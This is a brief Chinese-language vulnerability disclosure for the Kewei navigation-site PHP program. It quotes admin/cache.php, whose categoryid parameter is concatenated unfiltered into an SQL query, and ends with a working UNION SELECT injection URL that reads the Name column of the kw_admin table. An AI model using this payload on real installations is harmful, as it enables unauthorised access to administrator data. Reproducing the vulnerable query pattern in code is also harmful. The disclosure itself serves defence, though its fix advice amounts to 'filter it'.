科威网址盒子导航SQL注入漏洞及修复方案

影响版本：最新
官方网站：http://www.kewei8.com

漏洞类型：SQL注入
漏洞描述：

趁着饭没煮好 花几分钟找下漏洞
网址导航和盒子导航的程序文件一样的 就是界面不一样
经典对白... 看代码...
admin/cache.php

<?php session_start( );  set_time_limit ( 0 );  error_reporting( E_ALL || E_NOTICE );  define ( ROOT , dirname ( dirname ( $_SERVER[SCRIPT_FILENAME] ) ) . / );  require_once ROOT.include/smarty_inc.php;  require_once ROOT.include/mysql_inc.php;  require_once ROOT.include/config_inc.php;  $db = new db_mysql();  $db -> connect( $dbhost, $dbuser, $dbpwd, $dbname);   $type = !empty( $_GET[type] ) ? trim( $_GET[type] ) : ""; //前奏了...  $DefaultSkin = $db -> select("SELECT * FROM `".$dbprefix."_option` WHERE `Name`= DefaultSkin");  $DefaultSkin = $DefaultSkin[0][Value];   if( $type == "category" )  {  $categoryid = !empty( $_GET[categoryid] ) ? trim( $_GET[categoryid] ) : "";  //这里没有过滤..........  $temp = $db -> select("SELECT * FROM `".$dbprefix."_category` WHERE `ID`=".$categoryid);  //死在这里了。。。。。。。。。。。。  $templates->assign("name",$temp[0][Name]);  $templates->assign("id",$temp[0][ID]);  $templates->display(ROOT."templates/".$DefaultSkin."/category.tpl");  }  else  {  $templates->display(ROOT."templates/".$DefaultSkin."/index.tpl");  }  ?>  超经典的注入漏洞。。。。
 

注入测试:

http://127.0.0.1/admin/cache.php?type=category&categoryid=1%20and%201=2%20union%20select%201,2,3,5,6,7,8,9,10,Name%20from%20kw_admin

修复方案：过滤呀过滤